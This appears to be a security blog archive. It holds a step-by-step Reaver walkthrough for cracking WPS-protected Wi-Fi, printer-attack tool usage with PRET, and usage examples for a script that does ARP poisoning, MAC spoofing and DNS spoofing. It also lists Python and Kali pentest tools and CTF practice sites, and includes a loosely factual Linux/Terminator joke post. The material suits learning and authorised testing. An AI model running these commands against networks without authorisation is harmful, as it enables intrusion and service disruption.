Archive for the ‘free stuff’ Category

WPS is short for Wi-Fi Protected Setup and is a method of establishing a connection between a wireless device and a wireless router that was released in 2007. Typically to connect a wireless device to a router you need to know the router name (SSID) and its password. However, with WPS you could connect to the network using any of the methods below.

  • For devices that support WPS, you can enter the eight-digit WPS PIN on your wireless router to connect to the router.
  • If your wireless device has a WPS button of its own, you can press the WPS button on the router and then press the WPS button on your device to connect it to the network.
  • Press the WPS button on the router and then using a wireless device find and select the router to connect without having to enter a password.
  • For wireless devices that have WPS, you can enter the eight-digit generated PIN in your wireless router’s setup to connect the device.

Where is the WPS PIN or WPS Key?

The WPS PIN can be found on the back or bottom of the router. With most routers, the WPS PIN is on a sticker and is an eight-digit number.

Disadvantages with WPS

Although WPS can make it easier to connect wireless devices to your network, there are some distinct disadvantages of WPS.

  • If your wireless router is in an insecure area, anyone could press the WPS button on the back of the router and be able to connect to your network.
  • Because all WPS devices have a unique eight-digit PIN (technically seven since the last digit is a checksum), a hacker can use a brute-force attack on the router to identify the WPS PIN and then be able to connect to your network.
  • The WPS router PIN cannot be changed.
  • WPS only works with WPA or WPA2 security and does not support older devices with WEP.

Although WPS can make it easier to connect wireless devices to your network because of these disadvantages you may want to disable WPS through your router setup.

Reaver implements a brute force attack against WiFi Protected Setup which can crack the WPS pin of an access point in a matter of hours and subsequently recover the WPA/WPA2 passphrase. Specifically, Reaver targets the registrar functionality of WPS, which is flawed in that it only takes 11,000 attempts to guess the correct WPS pin in order to become a WPS registrar. Once registered as a registrar with the access point, the access point will give you the WPA passphrase.

Cracking WI-FI with WPS ENABLED

  1. Start wireless card  in monitor mode
    airmon-ng start wlan0
  2. See the list of networks that support the WPS.
    wash -i wlan0mon


  3. Using Reaver
    reaver -i wlan0mon -vv -b XX:XX:XX:XX:XX:XX


    -i wlan0mon this interface.
    -b XX: XX: XX: XX: XX is BSSID attacked point.
    -vv -v, –verbose Display non-critical warnings

    As there are additional useful options
    -t 2 – reduces response time (5 seconds by default) in this case to 2 seconds.
    -d 0 – the pause between attempts.

  4. Key found

PRET is a new tool for printer security testing developed in the scope of a Master’s Thesis at Ruhr University Bochum. It connects to a device via network or USB and exploits the features of a given printer language. Currently PostScript, PJL and PCL are supported which are spoken by most laser printers. This allows cool stuff like capturing or manipulating print jobs, accessing the printer’s file system and memory or even causing physical damage to the device. All attacks are documented in detail in the Hacking Printers Wiki.

The main idea of PRET is to facilitate the communication between the end-user and the printer. Thus, after entering a UNIX-like command, PRET translates it to PostScript, PJL or PCL, sends it to the printer, evaluates the result and translates it back to a user-friendly format. PRET offers a whole bunch of commands useful for printer attacks and fuzzing.


# pip install colorama pysnmp
# pip install win_unicode_console
# apt-get install imagemagick ghostscript
git clone


usage: [-h] [-s] [-q] [-d] [-i file] [-o file] target {ps,pjl,pcl}
positional arguments:
target                printer device or hostname
{ps,pjl,pcl}          printing language to abuse
optional arguments:
-h, --help            show this help message and exit
-s, --safe            verify if language is supported
-q, --quiet           suppress warnings and chit-chat
-d, --debug           enter debug mode (show traffic)
-i file, --load file  load and run commands from file
-o file, --log file   log raw data sent to the target

Image result for python logo

If you are involved in vulnerability research, reverse engineering or penetration testing, I suggest to try out the Python programming language. It has a rich set of useful libraries and programs. This page lists some of them.
Most of the listed tools are written in Python, others are just Python bindings for existing C libraries, i.e. they make those libraries easily usable from Python programs.
Some of the more aggressive tools (pentest frameworks, bluetooth smashers, web application vulnerability scanners, war-dialers, etc.) are left out. This list is clearly meant to help whitehats, and for now I prefer to err on the safe side.


  • ScapyScapy3k: send, sniff and dissect and forge network packets. Usable interactively or as a library
  • pypcapPcapy and pylibpcap: several different Python bindings for libpcap
  • libdnet: low-level networking routines, including interface lookup and Ethernet frame transmission
  • dpkt: fast, simple packet creation/parsing, with definitions for the basic TCP/IP protocols
  • Impacket: craft and decode network packets. Includes support for higher-level protocols such as NMB and SMB
  • pynids: libnids wrapper offering sniffing, IP defragmentation, TCP stream reassembly and port scan detection
  • Dirtbags py-pcap: read pcap files without libpcap
  • flowgrep: grep through packet payloads using regular expressions
  • Knock Subdomain Scan, enumerate subdomains on a target domain through a wordlist
  • SubBrute, fast subdomain enumeration tool
  • Mallory, extensible TCP/UDP man-in-the-middle proxy, supports modifying non-standard protocols on the fly
  • Pytbull: flexible IDS/IPS testing framework (shipped with more than 300 tests)
  • Spoodle: A mass subdomain + poodle vulnerability scanner
  • SMBMap: enumerate Samba share drives across an entire domain

Debugging and reverse engineering

  • Paimei: reverse engineering framework, includes PyDBG, PIDA, pGRAPH
  • Immunity Debugger: scriptable GUI and command line debugger
  • PyCommand for Immunity Debugger that replaces and improves on pvefindaddr
  • IDAPython: IDA Pro plugin that integrates the Python programming language, allowing scripts to run in IDA Pro
  • PyEMU: fully scriptable IA-32 emulator, useful for malware analysis
  • pefile: read and work with Portable Executable (aka PE) files
  • pydasm: Python interface to the libdasm x86 disassembling library
  • PyDbgEng: Python wrapper for the Microsoft Windows Debugging Engine
  • uhooker: intercept calls to API calls inside DLLs, and also arbitrary addresses within the executable file in memory
  • diStorm: disassembler library for AMD64, licensed under the BSD license
  • python-ptrace: debugger using ptrace (Linux, BSD and Darwin system call to trace processes) written in Python
  • vdb / vtrace: vtrace is a cross-platform process debugging API implemented in python, and vdb is a debugger which uses it
  • Androguard: reverse engineering and analysis of Android applications
  • Capstone: lightweight multi-platform, multi-architecture disassembly framework with Python bindings
  • Keystone: lightweight multi-platform, multi-architecture assembler framework with Python bindings
  • PyBFD: Python interface to the GNU Binary File Descriptor (BFD) library
  • CHIPSEC: framework for analyzing the security of PC platforms including hardware, system firmware (BIOS/UEFI), and platform components.


  • afl-python: enables American fuzzy lop fork server and instrumentation for pure-Python code
  • Sulley: fuzzer development and fuzz testing framework consisting of multiple extensible components
  • Peach Fuzzing Platform: extensible fuzzing framework for generation and mutation based fuzzing (v2 was written in Python)
  • antiparser: fuzz testing and fault injection API
  • TAOF, (The Art of Fuzzing) including ProxyFuzz, a man-in-the-middle non-deterministic network fuzzer
  • untidy: general purpose XML fuzzer
  • Powerfuzzer: highly automated and fully customizable web fuzzer (HTTP protocol based application fuzzer)
  • Mistress: probe file formats on the fly and protocols with malformed data, based on pre-defined patterns
  • Fuzzbox: multi-codec media fuzzer
  • Forensic Fuzzing Tools: generate fuzzed files, fuzzed file systems, and file systems containing fuzzed files in order to test the robustness of forensics tools and examination systems
  • Windows IPC Fuzzing Tools: tools used to fuzz applications that use Windows Interprocess Communication mechanisms
  • WSBang: perform automated security testing of SOAP based web services
  • Construct: library for parsing and building of data structures (binary or textual). Define your data structures in a declarative manner
  • (feliam): simple fuzzer by Felipe Andres Manzano
  • Fusil: Python library used to write fuzzing programs


  • Requests: elegant and simple HTTP library, built for human beings
  • HTTPie: human-friendly cURL-like command line HTTP client
  • ProxMon: processes proxy logs and reports discovered issues
  • WSMap: find web service endpoints and discovery files
  • Twill: browse the Web from a command-line interface. Supports automated Web testing
  • webkit web client written in Python
  • Windmill: web testing tool designed to let you painlessly automate and debug your web application
  • FunkLoad: functional and load web tester
  • spynner: Programmatic web browsing module for Python with Javascript/AJAX support
  • python-spidermonkey: bridge to the Mozilla SpiderMonkey JavaScript engine; allows for the evaluation and calling of Javascript scripts and functions
  • mitmproxy: SSL-capable, intercepting HTTP proxy. Console interface allows traffic flows to be inspected and edited on the fly
  • pathod / pathoc: pathological daemon/client for tormenting HTTP clients and servers


  • Volatility: extract digital artifacts from volatile memory (RAM) samples
  • Rekall: memory analysis framework developed by Google
  • LibForensics: library for developing digital forensics applications
  • TrIDLib, identify file types from their binary signatures. Now includes Python binding
  • aft: Android forensic toolkit

Malware analysis

  • pyew: command line hexadecimal editor and disassembler, mainly to analyze malware
  • Exefilter: filter file formats in e-mails, web pages or files. Detects many common file formats and can remove active content
  • pyClamAV: add virus detection capabilities to your Python software
  • jsunpack-n, generic JavaScript unpacker: emulates browser functionality to detect exploits that target browser and browser plug-in vulnerabilities
  • yara-python: identify and classify malware samples
  • phoneyc: pure Python honeyclient implementation
  • CapTipper: analyse, explore and revive HTTP malicious traffic from PCAP file


  • peepdf: Python tool to analyse and explore PDF files to find out if they can be harmful
  • Didier Stevens’ PDF tools: analyse, identify and create PDF files (includes PDFiDpdf-parser and make-pdf and mPDF)
  • Opaf: Open PDF Analysis Framework. Converts PDF to an XML tree that can be analyzed and modified.
  • Origapy: Python wrapper for the Origami Ruby module which sanitizes PDF files
  • pyPDF2: pure Python PDF toolkit: extract info, spilt, merge, crop, encrypt, decrypt…
  • PDFMiner: extract text from PDF files
  • python-poppler-qt4: Python binding for the Poppler PDF library, including Qt4 support


  • InlineEgg: toolbox of classes for writing small assembly programs in Python
  • Exomind: framework for building decorated graphs and developing open-source intelligence modules and ideas, centered on social network services, search engines and instant messaging
  • RevHosts: enumerate virtual hosts for a given IP address
  • simplejson: JSON encoder/decoder, e.g. to use Google’s AJAX API
  • PyMangle: command line tool and a python library used to create word lists for use with other penetration testing tools
  • Hachoir: view and edit a binary stream field by field
  • py-mangle: command line tool and a python library used to create word lists for use with other penetration testing tools
  • execute Powershell commands quickly and easily via WMI
  • Pentestly: Python and Powershell internal penetration testing framework

Other useful libraries and tools

  • IPython: enhanced interactive Python shell with many features for object introspection, system shell access, and its own special command system
  • Beautiful Soup: HTML parser optimized for screen-scraping
  • matplotlib: make 2D plots of arrays
  • Mayavi: 3D scientific data visualization and plotting
  • RTGraph3D: create dynamic graphs in 3D
  • Twisted: event-driven networking engine
  • Suds: lightweight SOAP client for consuming Web Services
  • M2Crypto: most complete OpenSSL wrapper
  • NetworkX: graph library (edges, nodes)
  • Pandas: library providing high-performance, easy-to-use data structures and data analysis tools
  • pyparsing: general parsing module
  • lxml: most feature-rich and easy-to-use library for working with XML and HTML in the Python language
  • Whoosh: fast, featureful full-text indexing and searching library implemented in pure Python
  • Pexpect: control and automate other programs, similar to Don Libes `Expect` system
  • Sikuli, visual technology to search and automate GUIs using screenshots. Scriptable in Jython
  • PyQt and PySide: Python bindings for the Qt application framework and GUI library



tv crime2

Recently I was asked how to deny navigation and download capabilities of a compromised machines on the local network.  Well this script by codepr performs an ARP poison attack and sending reset TCP packets to every request made to the router.


$ git clone
$ cd creak
$ python install

or simply clone the repository and run the after all requirements are installed:

$ git clone

It is required to have installed pcap libraries for raw packet manipulations and dpkt module, for dns spoofing options is required to have installed dnet module from libdnet package, do not confuse it with pydnet (network evaluation tool) module. It can use also scapy if desired, can just be set in the file.


Usage: [options] dev

  -h, --help           show this help message and exit
  -1, --sessions-scan  Sessions scan mode
  -2, --dns-spoof      Dns spoofing
  -x, --spoof          Spoof mode, generate a fake MAC address to be used
                       during attack
  -m MACADDR           Mac address octet prefix (could be an entire MAC
                       address in the form AA:BB:CC:DD:EE:FF)
  -M MANUFACTURER      Manufacturer of the wireless device, for retrieving a
                       manufactur based prefix for MAC spoof
  -s SOURCE            Source ip address (e.g. a class C address like
              usually the router address
  -t TARGET            Target ip address (e.g. a class C address like
  -p PORT              Target port to shutdown
  -a HOST              Target host that will be redirect while navigating on
                       target machine
  -r REDIR             Target redirection that will be fetched instead of host
                       on the target machine
  -v, --verbose        Verbose output mode
  -d, --dotted         Dotted output mode


Most basic usage: Deny all traffic to the target host

$ python -t wlan0

Set a different gateway:

$ python -s -t wlan0

Set a different mac address for the device:

$ python -m 00:11:22:33:44:55 -t wlan0

Spoof mac address generating a fake one:

$ python -x -t wlan0

Spoof mac address generating one based on manufacturer(e.g Xeros):

$ python -x -M xeros -t wlan0

DNS spoofing using a fake MAC address, redirecting ab.xy to cd.xz(e.g. localhost):

$ python -x -M xeros -t -a www.ab.xy -r wlan0


TV failureInfoSec skills are in such high demand right now. As the world continues to turn everything into an app and connect even the most basic devices to the internet, the demand is only going to grow, so it’s no surprise everyone wants to learn hacking these days.

However, almost every day I come across a forum post where someone is asking where they should begin to learn hacking or how to practice hacking. I’ve compiled this list of some of the best hacking sites to hopefully be a valuable resource for those wondering how they can build and practice their hacking skill set. I hope you find this list helpful, and if you know of any other quality hacking sites, please let me know in the comments, so I can add them to the list.

On CTF365 users build and defend their own servers while launching attacks on other users’ servers. The CTF365 training environment is designed for security professionals who are interested in training their offensive skills or sysadmins interested in improving their defensive skills. If you are a beginner to infosec, you can sign up for a free beginner account and get your feet wet with some pre-configured vulnerable servers.

OverTheWire is designed for people of all experience levels to learn and practice security concepts. Absolute beginners are going to want to start on the Bandit challenges because they are the building blocks you’ll use to complete the other challenges.

Hacking-Lab provides the CTF challenges for the European Cyber Security Challenge, but they also host ongoing challenges on their platform that anyone can participate in. Just register a free account, setup vpn and start exploring the challenges they offer.

4. PWNABLE.KR: focuses on ‘pwn’ challenges, similar to CTF, which require you find, read and submit ‘flag’ files corresponding to each challenge. You must use some sort of programming, reverse-engineering or exploitation skill to access the content of the files before you are able to submit the solution.

They divide up the challenge into 4 skill levels: Toddler’s Bottle, Rookiss, Grotesque and Hacker’s Secret. Toddler’s Bottle are very easy challenges for beginners, Rookiss is rookie level exploitation challenges, Grotesque challenges become much more difficult and painful to solve and, finally, Hacker’s Secret challenges require special techniques to solve.

5. IO:
IO is a wargame from the createors of, a community project where like-minded people share knowledge about security, AI, VR and more. They’ve created 3 versions, IO, IO64 and IOarm, with IO being the most mature. Connect to IO via SSH and you can begin hacking on their challenges.

SmashTheStack is comprised of 7 different wargames – Amateria, Apfel (currently offline), Blackbox, Blowfish, CTF (currently offline), Logic and Tux. Every wargame has a variety of challenges ranging from standard vulnerabilities to reverse engineering challenges.

Microcorruption is an embedded security CTF where you have to reverse engineer fictional Lockitall electronic lock devices. The Lockitall devices secure the bearer bounds housed in warehouses owned by the also fictional Cy Yombinator company. Along the way you’ll learn some assembly, how to use a debugger, how to single step the lock code, set breakpoints, and examine memory all in an attempt to steal the bearer bonds from the warehouses.

8. REVERSING.KR: has 26 challenges to test your cracking and reverse engineering abilities. The site hasn’t been updated since the end of 2012, but the challenges available are still valuable learning resources.

Hack This Site is a free wargames site to test and expand your hacking skills. It features numerous hacking missions across multiple categories including Basic, Realistic, Application, Programming, Phonephreaking, JavaScript, Forensic, Extbasic, Stego and IRC missions. It also boasts a large community with a large catalog of hacking articles and a forum for to have discussions on security related topics. Finally, they’ve recently announced they are going to be overhauling the dated site and codebase, so expect some big improvements in the coming months.

W3Challs is a pentesting training platform with numerous challenges across different categories including Hacking, Cracking, Wargames, Forensic, Cryptography, Steganography and Programming. The aim of the platform is to provide realistic challenges, not simulations and points are awarded based on the difficulty of the challenge (easy, medium, hard). There’s a forum where you can discuss and walkthrough the challenges with other members.

11. PWN0:
pwn0 is the VPN where (almost) anything goes. Go up against pwn0bots or other users and score points by gaining root on other systems.

Exploit Exercises provides a variety of virtual machines, documentation and challenges that can be used to learn about a variety of computer security issues such as privilege escalation, vulnerability analysis, exploit development, debugging, reverse engineering, and general cyber security issues.

RingZer0 Team Online CTF offers a ton of challenges, 234 as of this post, that will test your hacking skills across multiple categories including Cryptography, Jail Escaping, Malware Analysis, SQL Injection, Shellcoding and more. After you successfully complete a challenge, you can write up your solution and submit it to the RingZer0 Team. If your write up is accepted, you’ll earn RingZer0Gold which can be exchanged for hints during future challenges.

Hellbound Hackers offers traditional exploit challenges, but they also offer some challenges that others don’t such as web and app patching and timed challenges. The web and app patching challenges have you evaluating a small snippet of code, identifying the exploitable line of code and suggesting a the code to patch it. The timed challenges have the extra constraint of solving the challenge in a set amount of time. I thought these two categories were a cool differentiator from most other CTF sites.

Try2Hack provides several security oriented challenges for your entertainment and is one of the oldest challenge sites still around. The challenges are diverse and get progressively harder.

16. HACK.ME: is a large collection of vulnerable web apps for practicing your offensive hacking skills. All vulnerable web apps are contributed by the community and each one can be run on the fly in a safe, isolated sandbox.

HackThis!! is comprised of 50+ hacking levels with each worth a set number of points depending on its difficulty level. Similar to Hack This Site, HackThis!! also features a lively community, numerous hacking related articles and news, and a forum where you can discuss the levels and a security related topics that might be of interest to you.

Enigma Group has over 300 challenges with a focus on the OWASP Top 10 exploits. They boast nearly 48,000 active members and host weekly CTF challenges as well as weekly and monthly contests.

Google Gruyere shows how web application vulnerabilities can be exploited and how to defend against these attacks. You’ll get a chance to do some real penetration testing and actually exploit a real application with attacks like XSS and XSRF.

Game of Hacks presents you with a series of code snippets, multiple choice quiz style, and you must identify the correct vulnerability in the code. While it’s not nearly as in depth as the others on this list, it’s a nice game for identifying vulnerabilities within source code.

21. ROOT ME:
Root Me hosts over 200 hacking challenges and 50 virtual environments allowing you to practice your hacking skills across a variety of scenarios. It’s definitely one of the best sites on this list.

While CTFtime is not a hacking site like the others on this list, it is great resource to stay up to date on CTF events happening around the globe. So if you’re interested in joining a CTF team or participating in an event, then this is the resource for you.



Back in February, when Linus Torvalds announced that it was time for the version 4.0 of Linux kernel, the Linux enthusiasts found an unlikely reason to be excited. Willing to know this reason? Around the same time, a Reddit user spotted that Skynet’s T-800 Terminator used by Arnold Schwarzenegger was actually running the same Linux kernel 4.1.15.

Earlier this week, Greg Kroah-Hartman released the Linux kernel 4.1.15. If we believe the Terminator movies, this release has brought Skynet closer to reality. It looks like Skynet knows why humans admire Linux.

If Linus Torvalds would have decided to walk on a straight line, the next logical kernel version after 3.19 would have been Linux 3.20 as kernel 4.0 wasn’t going to feature any massive change from Linux 3.19.

In the past, showing his love for Skynet, Linus Torvalds has made the following argument to support his decision:

The strongest argument for some people advocating 4.0 seems to have been a wish to see 4.1.15 – because “that was the version of Linux Skynet used for the T-800 terminator.

The time of 2.x and 3.x branch is now passed, and the 4.x branch is here with latest 4.1.15 release. Linux kernel 4.1.15 is the branch of 4.1.x LTS version and it’s available for download.

Read the kernel 4.1.15 changelog here and download it from Linux kernel archives right now.

tv - programerWhat is Penetration Testing?

Pen tests can be automated with software applications or they can be performed manually. Either way, the process includes gathering information about the target before the test (reconnaissance), identifying possible entry points, attempting to break in (either virtually or for real) and reporting the findings.

The main objective of penetration testing is to determine security weaknesses. A pen test can also be used to test an organization’s security policy compliance, its employees’ security awareness and the organization’s ability to identify and respond to security incidents.

Penetration tests are sometimes called white hat attacks because in a pen test, the good guys are attempting to break in.

What’s Kali Linux ?

Kali Linux is a Debian-based Linux distribution aimed at advanced Penetration Testing and Security Auditing. Kali contains several hundred tools aimed at various information security tasks, such as Penetration Testing, Forensics and Reverse Engineering. Kali Linux is developed, funded and maintained by Offensive Security, a leading information security training company.

Top 19 Penetration Testing Tool In Kali linux 2.0


meta1. Metasploit

This is the most advanced and popular Framework that can be used to for pen-testing. It is based on the concept of ‘exploit’ which is a code that can surpass the security measures and enter a certain system. If entered, it runs a ‘payload’, a code that performs operations on a target machine, thus creating the perfect framework for penetration testing.

It can be used on web applications, networks, servers etc. It has a command-line and a GUI clickable interface, works on Linux, Apple Mac OS X and Microsoft Windows. This is a commercial product, although there might be free limited trials available.

armi2. Armitage

Armitage is a scriptable red team collaboration tool for Metasploit that visualizes targets, recommends exploits, and exposes the advanced post-exploitation features in the framework.

Through one Metasploit instance, your team will:


Use the same sessions

Share hosts, captured data, and downloaded files

Communicate through a shared event log.

Run bots to automate red team tasks.

wire3. Wireshark

This is basically a network protocol analyzer –popular for providing the minutest details about your network protocols, packet information, decryption etc. It can be used on Windows, Linux, OS X, Solaris, FreeBSD, NetBSD, and many other systems. The information that is retrieved via this tool can be viewed through a GUI, or the TTY-mode TShark utility.


burp4. Burpsuite

Burp suite is also essentially a scanner (with a limited “intruder” tool for attacks), although many security testing specialists swear that pen-testing without this tool is unimaginable. The tool is not free, but very cost effective. Take a look at it on below download page. It mainly works wonders with intercepting proxy, crawling content and functionality, web application scanning etc.  You can use this on Windows, Mac OS X and Linux environments.


acun5. Acunetix

Acunetix is essentially a web vulnerability scanner targeted at web applications. It provides SQL injection, cross site scripting testing, PCI compliance reports etc. along with identifying a multitude of vulnerabilities. While this is among the more ‘pricey’ tools.


john6. John The Ripper

Another password cracker in line is, John the Ripper. This tool works on most of the environments, although it’s primarily for UNIX systems. It is considered one of the fastest tools in this genre. Password hash code and strength-checking code are also made available to be integrated to your own software/code which I think is very unique. This tool comes in a pro and free form.


set7. Social Engineer Toolkit

The Social-Engineer Toolkit (SET) is a unique tool in terms that the attacks are targeted at the human element than on the system element. It has features that let you send emails, java applets, etc containing the attack code. It goes without saying that this tool is to be used very carefully and only for ‘white-hat’ reasons.  It has a command-line interface, works on Linux, Apple Mac OS X and Microsoft Windows.

nmap8. Nmap

“Network Mapper” though not necessarily a pen-testing tool, it is a must-have for the ethical hackers. This is a very popular tool that predominantly aids in understanding the characteristics of any target network. The characteristics can include: host, services, OS, packet filters/firewalls etc.  It works on most of the environments and is open sourced.


beef9. BeEF

BeEF is short for The Browser Exploitation Framework. It is a penetration testing tool that focuses on the web browser- what this means is that, it takes advantage of the fact that an open web-browser is the window(or crack) into a target system and designs its attacks to go on from this point on . It has a GUI interface, works on Linux, Apple Mac OS X and Microsoft Windows.


air10. Aircrack-ng

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured. It implements the standard FMS attack along with some optimizations like KoreK attacks, as well as the PTW attack, thus making the attack much faster compared to other WEP cracking tools.

In fact, Aircrack-ng is a set of tools for auditing wireless networks.

sqlmap11. Sqlmap

Sqlmap is again a good open source pen testing tool. This tool is mainly used for detecting and exploiting SQL injection issues in an application and hacking over of database servers. It comes with command-line interface. Platform: Linux, Apple Mac OS X and Microsoft Windows are supported platforms.

etta12. Ettercap

Ettercap is a free and open source network security tool for man-in-the-middle attacks on LAN. It can be used for computer network protocol analysis and security auditing. It runs on various Unix-like operating systems including Linux, Mac OS X, BSD and Solaris, and on Microsoft Windows.

hydra13. Hydra

Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely.

It supports: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 and v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC and XMPP.

malt14. Maltego

Maltego is a program built into Kali Linux that lets you do reconnaissance on any person, by scraping up data from all publicly available areas of the Internets. Maltego is used for information gathering and data-mining, and can be useful for anyone who needs to gather data on a person or company


nikkto15. Nikto

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers.


ninja16. Sqlninja

Sqlninja, as the name indicates is all about taking over the DB server using SQL injection in any environment. This product by itself claims to be not so stable its popularity indicates how robust it is already with the DB related vulnerability exploitation. It has a command-line interface, works on Linux, Apple Mac OS X and not on Microsoft Windows.


core17. CORE Impact

CORE Impact Pro can be used to test mobile device penetration, network/network devise penetration, password identification and cracking, etc. It has a command-line and a GUI clickable interface, works Microsoft Windows. This is one of the expensive tools in this line.

canvas18. Canvas

Immunity’s CANVAS is a widely used tool that contains more than 400 exploits and multiple payload options. It renders itself useful for web applications, wireless systems, networks etc. It has a command-line and GUI interface, works on Linux, Apple Mac OS X and Microsoft Windows. It is not free of charge and can more information can be found at below page.

retina19. Retina

As opposed to a certain application or a server, Retina targets the entire environment at a particular company/firm. It comes as a package called Retina Community. It is a commercial product and is more of a vulnerability management tool more than a pen-testing tool. It works on having scheduled assessments and presenting results. Check out more about this package at below page.